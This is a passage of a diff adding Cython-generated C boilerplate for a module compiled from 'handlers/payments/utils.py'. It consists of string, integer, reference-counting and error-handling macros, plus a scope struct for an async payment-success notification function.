defined(__PYX_EXTERN_C) + #ifdef _MSC_VER + #pragma message ("Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead.") + #else + #warning Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead. + #endif +#else + #ifdef __cplusplus + #define __PYX_EXTERN_C extern "C" + #else + #define __PYX_EXTERN_C extern + #endif +#endif + +#define __PYX_HAVE__handlers__payments__utils +#define __PYX_HAVE_API__handlers__payments__utils +/* Early includes */ +#ifdef _OPENMP +#include +#endif /* _OPENMP */ + +#if defined(PYREX_WITHOUT_ASSERTIONS) && !defined(CYTHON_WITHOUT_ASSERTIONS) +#define CYTHON_WITHOUT_ASSERTIONS +#endif + +typedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding; + const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; + +#define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_UTF8 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT (PY_MAJOR_VERSION >= 3 && __PYX_DEFAULT_STRING_ENCODING_IS_UTF8) +#define __PYX_DEFAULT_STRING_ENCODING "" +#define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString +#define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#define __Pyx_uchar_cast(c) ((unsigned char)c) +#define __Pyx_long_cast(x) ((long)x) +#define __Pyx_fits_Py_ssize_t(v, type, is_signed) (\ + (sizeof(type) < sizeof(Py_ssize_t)) ||\ + (sizeof(type) > sizeof(Py_ssize_t) &&\ + likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX) &&\ + (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\ + v == (type)PY_SSIZE_T_MIN))) ||\ + (sizeof(type) == sizeof(Py_ssize_t) &&\ + (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX))) ) +static CYTHON_INLINE int __Pyx_is_valid_index(Py_ssize_t i, Py_ssize_t limit) { + return (size_t) i < (size_t) limit; +} +#if defined (__cplusplus) && __cplusplus >= 201103L + #include + #define __Pyx_sst_abs(value) std::abs(value) +#elif SIZEOF_INT >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) abs(value) +#elif SIZEOF_LONG >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) labs(value) +#elif defined (_MSC_VER) + #define __Pyx_sst_abs(value) ((Py_ssize_t)_abs64(value)) +#elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define __Pyx_sst_abs(value) llabs(value) +#elif defined (__GNUC__) + #define __Pyx_sst_abs(value) __builtin_llabs(value) +#else + #define __Pyx_sst_abs(value) ((value<0) ? -value : value) +#endif +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s); +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject*); +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length); +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char*); +#define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l) +#define __Pyx_PyBytes_FromString PyBytes_FromString +#define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSize +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*); +#if PY_MAJOR_VERSION < 3 + #define __Pyx_PyStr_FromString __Pyx_PyBytes_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#else + #define __Pyx_PyStr_FromString __Pyx_PyUnicode_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize +#endif +#define __Pyx_PyBytes_AsWritableString(s) ((char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableSString(s) ((signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableUString(s) ((unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsString(s) ((const char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsSString(s) ((const signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsUString(s) ((const unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyObject_AsWritableString(s) ((char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableSString(s) ((signed char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableUString(s) ((unsigned char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsSString(s) ((const signed char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsUString(s) ((const unsigned char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_FromCString(s) __Pyx_PyObject_FromString((const char*)s) +#define __Pyx_PyBytes_FromCString(s) __Pyx_PyBytes_FromString((const char*)s) +#define __Pyx_PyByteArray_FromCString(s) __Pyx_PyByteArray_FromString((const char*)s) +#define __Pyx_PyStr_FromCString(s) __Pyx_PyStr_FromString((const char*)s) +#define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s) +#define __Pyx_PyUnicode_FromOrdinal(o) PyUnicode_FromOrdinal((int)o) +#define __Pyx_PyUnicode_AsUnicode PyUnicode_AsUnicode +#define __Pyx_NewRef(obj) (Py_INCREF(obj), obj) +#define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None) +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b); +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*); +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject*); +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x); +#define __Pyx_PySequence_Tuple(obj)\ + (likely(PyTuple_CheckExact(obj)) ? __Pyx_NewRef(obj) : PySequence_Tuple(obj)) +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*); +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t); +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject*); +#if CYTHON_ASSUME_SAFE_MACROS +#define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x)) +#else +#define __pyx_PyFloat_AsDouble(x) PyFloat_AsDouble(x) +#endif +#define __pyx_PyFloat_AsFloat(x) ((float) __pyx_PyFloat_AsDouble(x)) +#if PY_MAJOR_VERSION >= 3 +#define __Pyx_PyNumber_Int(x) (PyLong_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Long(x)) +#else +#define __Pyx_PyNumber_Int(x) (PyInt_CheckExact(x) ? __Pyx_NewRef(x) : PyNumber_Int(x)) +#endif +#if CYTHON_USE_PYLONG_INTERNALS + #if PY_VERSION_HEX >= 0x030C00A7 + #ifndef _PyLong_SIGN_MASK + #define _PyLong_SIGN_MASK 3 + #endif + #ifndef _PyLong_NON_SIZE_BITS + #define _PyLong_NON_SIZE_BITS 3 + #endif + #define __Pyx_PyLong_Sign(x) (((PyLongObject*)x)->long_value.lv_tag & _PyLong_SIGN_MASK) + #define __Pyx_PyLong_IsNeg(x) ((__Pyx_PyLong_Sign(x) & 2) != 0) + #define __Pyx_PyLong_IsNonNeg(x) (!__Pyx_PyLong_IsNeg(x)) + #define __Pyx_PyLong_IsZero(x) (__Pyx_PyLong_Sign(x) & 1) + #define __Pyx_PyLong_IsPos(x) (__Pyx_PyLong_Sign(x) == 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) (__Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) ((Py_ssize_t) (((PyLongObject*)x)->long_value.lv_tag >> _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_SignedDigitCount(x)\ + ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * __Pyx_PyLong_DigitCount(x)) + #if defined(PyUnstable_Long_IsCompact) && defined(PyUnstable_Long_CompactValue) + #define __Pyx_PyLong_IsCompact(x) PyUnstable_Long_IsCompact((PyLongObject*) x) + #define __Pyx_PyLong_CompactValue(x) PyUnstable_Long_CompactValue((PyLongObject*) x) + #else + #define __Pyx_PyLong_IsCompact(x) (((PyLongObject*)x)->long_value.lv_tag < (2 << _PyLong_NON_SIZE_BITS)) + #define __Pyx_PyLong_CompactValue(x) ((1 - (Py_ssize_t) __Pyx_PyLong_Sign(x)) * (Py_ssize_t) __Pyx_PyLong_Digits(x)[0]) + #endif + typedef Py_ssize_t __Pyx_compact_pylong; + typedef size_t __Pyx_compact_upylong; + #else + #define __Pyx_PyLong_IsNeg(x) (Py_SIZE(x) < 0) + #define __Pyx_PyLong_IsNonNeg(x) (Py_SIZE(x) >= 0) + #define __Pyx_PyLong_IsZero(x) (Py_SIZE(x) == 0) + #define __Pyx_PyLong_IsPos(x) (Py_SIZE(x) > 0) + #define __Pyx_PyLong_CompactValueUnsigned(x) ((Py_SIZE(x) == 0) ? 0 : __Pyx_PyLong_Digits(x)[0]) + #define __Pyx_PyLong_DigitCount(x) __Pyx_sst_abs(Py_SIZE(x)) + #define __Pyx_PyLong_SignedDigitCount(x) Py_SIZE(x) + #define __Pyx_PyLong_IsCompact(x) (Py_SIZE(x) == 0 || Py_SIZE(x) == 1 || Py_SIZE(x) == -1) + #define __Pyx_PyLong_CompactValue(x)\ + ((Py_SIZE(x) == 0) ? (sdigit) 0 : ((Py_SIZE(x) < 0) ? -(sdigit)__Pyx_PyLong_Digits(x)[0] : (sdigit)__Pyx_PyLong_Digits(x)[0])) + typedef sdigit __Pyx_compact_pylong; + typedef digit __Pyx_compact_upylong; + #endif + #if PY_VERSION_HEX >= 0x030C00A5 + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->long_value.ob_digit) + #else + #define __Pyx_PyLong_Digits(x) (((PyLongObject*)x)->ob_digit) + #endif +#endif +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII +#include +static int __Pyx_sys_getdefaultencoding_not_ascii; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + PyObject* ascii_chars_u = NULL; + PyObject* ascii_chars_b = NULL; + const char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + if (strcmp(default_encoding_c, "ascii") == 0) { + __Pyx_sys_getdefaultencoding_not_ascii = 0; + } else { + char ascii_chars[128]; + int c; + for (c = 0; c < 128; c++) { + ascii_chars[c] = (char) c; + } + __Pyx_sys_getdefaultencoding_not_ascii = 1; + ascii_chars_u = PyUnicode_DecodeASCII(ascii_chars, 128, NULL); + if (!ascii_chars_u) goto bad; + ascii_chars_b = PyUnicode_AsEncodedString(ascii_chars_u, default_encoding_c, NULL); + if (!ascii_chars_b || !PyBytes_Check(ascii_chars_b) || memcmp(ascii_chars, PyBytes_AS_STRING(ascii_chars_b), 128) != 0) { + PyErr_Format( + PyExc_ValueError, + "This module compiled with c_string_encoding=ascii, but default encoding '%.200s' is not a superset of ascii.", + default_encoding_c); + goto bad; + } + Py_DECREF(ascii_chars_u); + Py_DECREF(ascii_chars_b); + } + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + Py_XDECREF(ascii_chars_u); + Py_XDECREF(ascii_chars_b); + return -1; +} +#endif +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT && PY_MAJOR_VERSION >= 3 +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_DecodeUTF8(c_str, size, NULL) +#else +#define __Pyx_PyUnicode_FromStringAndSize(c_str, size) PyUnicode_Decode(c_str, size, __PYX_DEFAULT_STRING_ENCODING, NULL) +#if __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#include +static char* __PYX_DEFAULT_STRING_ENCODING; +static int __Pyx_init_sys_getdefaultencoding_params(void) { + PyObject* sys; + PyObject* default_encoding = NULL; + char* default_encoding_c; + sys = PyImport_ImportModule("sys"); + if (!sys) goto bad; + default_encoding = PyObject_CallMethod(sys, (char*) (const char*) "getdefaultencoding", NULL); + Py_DECREF(sys); + if (!default_encoding) goto bad; + default_encoding_c = PyBytes_AsString(default_encoding); + if (!default_encoding_c) goto bad; + __PYX_DEFAULT_STRING_ENCODING = (char*) malloc(strlen(default_encoding_c) + 1); + if (!__PYX_DEFAULT_STRING_ENCODING) goto bad; + strcpy(__PYX_DEFAULT_STRING_ENCODING, default_encoding_c); + Py_DECREF(default_encoding); + return 0; +bad: + Py_XDECREF(default_encoding); + return -1; +} +#endif +#endif + + +/* Test for GCC > 2.95 */ +#if defined(__GNUC__) && (__GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95))) + #define likely(x) __builtin_expect(!!(x), 1) + #define unlikely(x) __builtin_expect(!!(x), 0) +#else /* !__GNUC__ or GCC < 2.95 */ + #define likely(x) (x) + #define unlikely(x) (x) +#endif /* __GNUC__ */ +static CYTHON_INLINE void __Pyx_pretend_to_initialize(void* ptr) { (void)ptr; } + +#if !CYTHON_USE_MODULE_STATE +static PyObject *__pyx_m = NULL; +#endif +static int __pyx_lineno; +static int __pyx_clineno = 0; +static const char * __pyx_cfilenm = __FILE__; +static const char *__pyx_filename; + +/* #### Code section: filename_table ### */ + +static const char *__pyx_f[] = { + "handlers/payments/utils.py", +}; +/* #### Code section: utility_code_proto_before_types ### */ +/* #### Code section: numeric_typedefs ### */ +/* #### Code section: complex_type_declarations ### */ +/* #### Code section: type_declarations ### */ + +/*--- Type declarations ---*/ +struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification; + +/* "handlers/payments/utils.py":8 + * + * + * async def send_payment_success_notification(user_id: int, amount: float): # <<<<<<<<<<<<<< + * try: + * builder = InlineKeyboardBuilder() + */ +struct __pyx_obj_8handlers_8payments_5utils___pyx_scope_struct__send_payment_success_notification { + PyObject_HEAD + double __pyx_v_amount; + PyObject *__pyx_v_builder; + PyObject *__pyx_v_e; + PyObject *__pyx_v_user_id; + PyObject *__pyx_t_0; + PyObject *__pyx_t_1; + PyObject *__pyx_t_2; +}; + +/* #### Code section: utility_code_proto ### */ + +/* --- Runtime support code (head) --- */ +/* Refnanny.proto */ +#ifndef CYTHON_REFNANNY + #define CYTHON_REFNANNY 0 +#endif +#if CYTHON_REFNANNY + typedef struct { + void (*INCREF)(void*, PyObject*, Py_ssize_t); + void (*DECREF)(void*, PyObject*, Py_ssize_t); + void (*GOTREF)(void*, PyObject*, Py_ssize_t); + void (*GIVEREF)(void*, PyObject*, Py_ssize_t); + void* (*SetupContext)(const char*, Py_ssize_t, const char*); + void (*FinishContext)(void**); + } __Pyx_RefNannyAPIStruct; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL; + static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname); + #define __Pyx_RefNannyDeclarations void *__pyx_refnanny = NULL; +#ifdef WITH_THREAD + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + if (acquire_gil) {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + PyGILState_Release(__pyx_gilstate_save);\ + } else {\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__));\ + } + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } +#else + #define __Pyx_RefNannySetupContext(name, acquire_gil)\ + __pyx_refnanny = __Pyx_RefNanny->SetupContext((name), (__LINE__), (__FILE__)) + #define __Pyx_RefNannyFinishContextNogil() __Pyx_RefNannyFinishContext() +#endif + #define __Pyx_RefNannyFinishContextNogil() {\ + PyGILState_STATE __pyx_gilstate_save = PyGILState_Ensure();\ + __Pyx_RefNannyFinishContext();\ + PyGILState_Release(__pyx_gilstate_save);\ + } + #define __Pyx_RefNannyFinishContext()\ + __Pyx_RefNanny->FinishContext(&__pyx_refnanny) + #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), (__LINE__)) + #define __Pyx_XINCREF(r) do { if((r) == NULL); else {__Pyx_INCREF(r); }} while(0) + #define __Pyx_XDECREF(r) do { if((r) == NULL); else {__Pyx_DECREF(r); }} while(0) + #define __Pyx_XGOTREF(r) do { if((r) == NULL); else {__Pyx_GOTREF(r); }} while(0) + #define __Pyx_XGIVEREF(r) do { if((r) == NULL); else {__Pyx_GIVEREF(r);}} while(0) +#else + #define __Pyx_RefNannyDeclarations + #define __Pyx_RefNannySetupContext(name, acquire_gil) + #define __Pyx_RefNannyFinishContextNogil() + #define __Pyx_RefNannyFinishContext() + #define __Pyx_INCREF(r) Py_INCREF(r) + #define __Pyx_DECREF(r) Py_DECREF(r) + #define __Pyx_GOTREF(r) + #define __Pyx_GIVEREF(r) + #define __Pyx_XINCREF(r) Py_XINCREF(r) + #define __Pyx_XDECREF(r) Py_XDECREF(r) + #define __Pyx_XGOTREF(r) + #define __Pyx_XGIVEREF(r) +#endif +#define __Pyx_Py_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; Py_XDECREF(tmp);\ + } while (0) +#define __Pyx_XDECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_XDECREF(tmp);\ + } while (0) +#define __Pyx_DECREF_SET(r, v) do {\ + PyObject *tmp = (PyObject *) r;\ + r = v; __Pyx_DECREF(tmp);\ + } while (0) +#define __Pyx_CLEAR(r) do { PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);} while(0) +#define __Pyx_XCLEAR(r) do { if((r) != NULL) {PyObject* tmp = ((PyObject*)(r)); r = NULL; __Pyx_DECREF(tmp);}} while(0) + +/* TupleAndListFromArray.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyList_FromArray(PyObject *const *src, Py_ssize_t n); +static CYTHON_INLINE PyObject* __Pyx_PyTuple_FromArray(PyObject *const *src, Py_ssize_t n); +#endif + +/* IncludeStringH.proto */ +#include + +/* BytesEquals.proto */ +static CYTHON_INLINE int __Pyx_PyBytes_Equals(PyObject* s1, PyObject* s2, int equals); + +/* UnicodeEquals.proto */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals); + +/* fastcall.proto */ +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_VARARGS(args, i) PySequence_GetItem(args, i) +#elif CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GET_ITEM(args, i) +#else + #define __Pyx_Arg_VARARGS(args, i) PyTuple_GetItem(args, i) +#endif +#if CYTHON_AVOID_BORROWED_REFS + #define __Pyx_Arg_NewRef_VARARGS(arg) __Pyx_NewRef(arg) + #define __Pyx_Arg_XDECREF_VARARGS(arg) Py_XDECREF(arg) +#else + #define __Pyx_Arg_NewRef_VARARGS(arg) arg + #define __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#define __Pyx_NumKwargs_VARARGS(kwds) PyDict_Size(kwds) +#define __Pyx_KwValues_VARARGS(args, nargs) NULL +#define __Pyx_GetKwValue_VARARGS(kw, kwvalues, s) __Pyx_PyDict_GetItemStrWithError(kw, s) +#define __Pyx_KwargsAsDict_VARARGS(kw, kwvalues) PyDict_Copy(kw) +#if CYTHON_METH_FASTCALL + #define __Pyx_Arg_FASTCALL(args, i) args[i] + #define __Pyx_NumKwargs_FASTCALL(kwds) PyTuple_GET_SIZE(kwds) + #define __Pyx_KwValues_FASTCALL(args, nargs) ((args) + (nargs)) + static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 + CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues); + #else + #define __Pyx_KwargsAsDict_FASTCALL(kw, kwvalues) _PyStack_AsDict(kwvalues, kw) + #endif + #define __Pyx_Arg_NewRef_FASTCALL(arg) arg /* no-op, __Pyx_Arg_FASTCALL is direct and this needs + to have the same reference counting */ + #define __Pyx_Arg_XDECREF_FASTCALL(arg) +#else + #define __Pyx_Arg_FASTCALL __Pyx_Arg_VARARGS + #define __Pyx_NumKwargs_FASTCALL __Pyx_NumKwargs_VARARGS + #define __Pyx_KwValues_FASTCALL __Pyx_KwValues_VARARGS + #define __Pyx_GetKwValue_FASTCALL __Pyx_GetKwValue_VARARGS + #define __Pyx_KwargsAsDict_FASTCALL __Pyx_KwargsAsDict_VARARGS + #define __Pyx_Arg_NewRef_FASTCALL(arg) __Pyx_Arg_NewRef_VARARGS(arg) + #define __Pyx_Arg_XDECREF_FASTCALL(arg) __Pyx_Arg_XDECREF_VARARGS(arg) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_VARARGS(args, start), stop - start) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) __Pyx_PyTuple_FromArray(&__Pyx_Arg_FASTCALL(args, start), stop - start) +#else +#define __Pyx_ArgsSlice_VARARGS(args, start, stop) PyTuple_GetSlice(args, start, stop) +#define __Pyx_ArgsSlice_FASTCALL(args, start, stop) PyTuple_GetSlice(args, start, stop) +#endif + +/* RaiseArgTupleInvalid.proto */ +static void __Pyx_RaiseArgtupleInvalid(const char* func_name, int exact, + Py_ssize_t num_min, Py_ssize_t num_max, Py_ssize_t num_found); + +/* RaiseDoubleKeywords.proto */ +static void __Pyx_RaiseDoubleKeywordsError(const char* func_name, PyObject* kw_name); + +/* ParseKeywords.proto */ +static int __Pyx_ParseOptionalKeywords(PyObject *kwds, PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, PyObject *values[], Py_ssize_t num_pos_args, + const char* function_name); + +/* ArgTypeTest.proto */ +#define __Pyx_ArgTypeTest(obj, type, none_allowed, name, exact)\ + ((likely(__Pyx_IS_TYPE(obj, type) | (none_allowed && (obj == Py_None)))) ? 1 :\ + __Pyx__ArgTypeTest(obj, type, name, exact)) +static int __Pyx__ArgTypeTest(PyObject *obj, PyTypeObject *type, const char *name, int exact); + +/* PyErrExceptionMatches.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_ExceptionMatches(err) __Pyx_PyErr_ExceptionMatchesInState(__pyx_tstate, err) +static CYTHON_INLINE int __Pyx_PyErr_ExceptionMatchesInState(PyThreadState* tstate, PyObject* err); +#else +#define __Pyx_PyErr_ExceptionMatches(err) PyErr_ExceptionMatches(err) +#endif + +/* PyThreadStateGet.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyThreadState_declare PyThreadState *__pyx_tstate; +#define __Pyx_PyThreadState_assign __pyx_tstate = __Pyx_PyThreadState_Current; +#if PY_VERSION_HEX >= 0x030C00A6 +#define __Pyx_PyErr_Occurred() (__pyx_tstate->current_exception != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->current_exception ? (PyObject*) Py_TYPE(__pyx_tstate->current_exception) : (PyObject*) NULL) +#else +#define __Pyx_PyErr_Occurred() (__pyx_tstate->curexc_type != NULL) +#define __Pyx_PyErr_CurrentExceptionType() (__pyx_tstate->curexc_type) +#endif +#else +#define __Pyx_PyThreadState_declare +#define __Pyx_PyThreadState_assign +#define __Pyx_PyErr_Occurred() (PyErr_Occurred() != NULL) +#define __Pyx_PyErr_CurrentExceptionType() PyErr_Occurred() +#endif + +/* PyErrFetchRestore.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_PyErr_Clear() __Pyx_ErrRestore(NULL, NULL, NULL) +#define __Pyx_ErrRestoreWithState(type, value, tb) __Pyx_ErrRestoreInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) __Pyx_ErrFetchInState(PyThreadState_GET(), type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) __Pyx_ErrRestoreInState(__pyx_tstate, type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) __Pyx_ErrFetchInState(__pyx_tstate, type, value, tb) +static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb); +static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A6 +#define __Pyx_PyErr_SetNone(exc) (Py_INCREF(exc), __Pyx_ErrRestore((exc), NULL, NULL)) +#else +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#endif +#else +#define __Pyx_PyErr_Clear() PyErr_Clear() +#define __Pyx_PyErr_SetNone(exc) PyErr_SetNone(exc) +#define __Pyx_ErrRestoreWithState(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchWithState(type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestoreInState(tstate, type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetchInState(tstate, type, value, tb) PyErr_Fetch(type, value, tb) +#define __Pyx_ErrRestore(type, value, tb) PyErr_Restore(type, value, tb) +#define __Pyx_ErrFetch(type, value, tb) PyErr_Fetch(type, value, tb) +#endif + +/* PyObjectGetAttrStr.proto */ +#if CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStr(PyObject* obj, PyObject* attr_name); +#else +#define __Pyx_PyObject_GetAttrStr(o,n) PyObject_GetAttr(o,n) +#endif + +/* PyObjectGetAttrStrNoError.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyObject_GetAttrStrNoError(PyObject* obj, PyObject* attr_name); + +/* GetBuiltinName.proto */ +static PyObject *__Pyx_GetBuiltinName(PyObject *name); + +/* PyDictVersioning.proto */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +#define __PYX_DICT_VERSION_INIT ((PY_UINT64_T) -1) +#define __PYX_GET_DICT_VERSION(dict) (((PyDictObject*)(dict))->ma_version_tag) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var)\ + (version_var) = __PYX_GET_DICT_VERSION(dict);\ + (cache_var) = (value); +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + if (likely(__PYX_GET_DICT_VERSION(DICT) == __pyx_dict_version)) {\ + (VAR) = __pyx_dict_cached_value;\ + } else {\ + (VAR) = __pyx_dict_cached_value = (LOOKUP);\ + __pyx_dict_version = __PYX_GET_DICT_VERSION(DICT);\ + }\ +} +static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj); +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj); +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version); +#else +#define __PYX_GET_DICT_VERSION(dict) (0) +#define __PYX_UPDATE_DICT_CACHE(dict, value, cache_var, version_var) +#define __PYX_PY_DICT_LOOKUP_IF_MODIFIED(VAR, DICT, LOOKUP) (VAR) = (LOOKUP); +#endif + +/* GetModuleGlobalName.proto */ +#if CYTHON_USE_DICT_VERSIONS +#define __Pyx_GetModuleGlobalName(var, name) do {\ + static PY_UINT64_T __pyx_dict_version = 0;\ + static PyObject *__pyx_dict_cached_value = NULL;\ + (var) = (likely(__pyx_dict_version == __PYX_GET_DICT_VERSION(__pyx_d))) ?\ + (likely(__pyx_dict_cached_value) ? __Pyx_NewRef(__pyx_dict_cached_value) : __Pyx_GetBuiltinName(name)) :\ + __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +#define __Pyx_GetModuleGlobalNameUncached(var, name) do {\ + PY_UINT64_T __pyx_dict_version;\ + PyObject *__pyx_dict_cached_value;\ + (var) = __Pyx__GetModuleGlobalName(name, &__pyx_dict_version, &__pyx_dict_cached_value);\ +} while(0) +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value); +#else +#define __Pyx_GetModuleGlobalName(var, name) (var) = 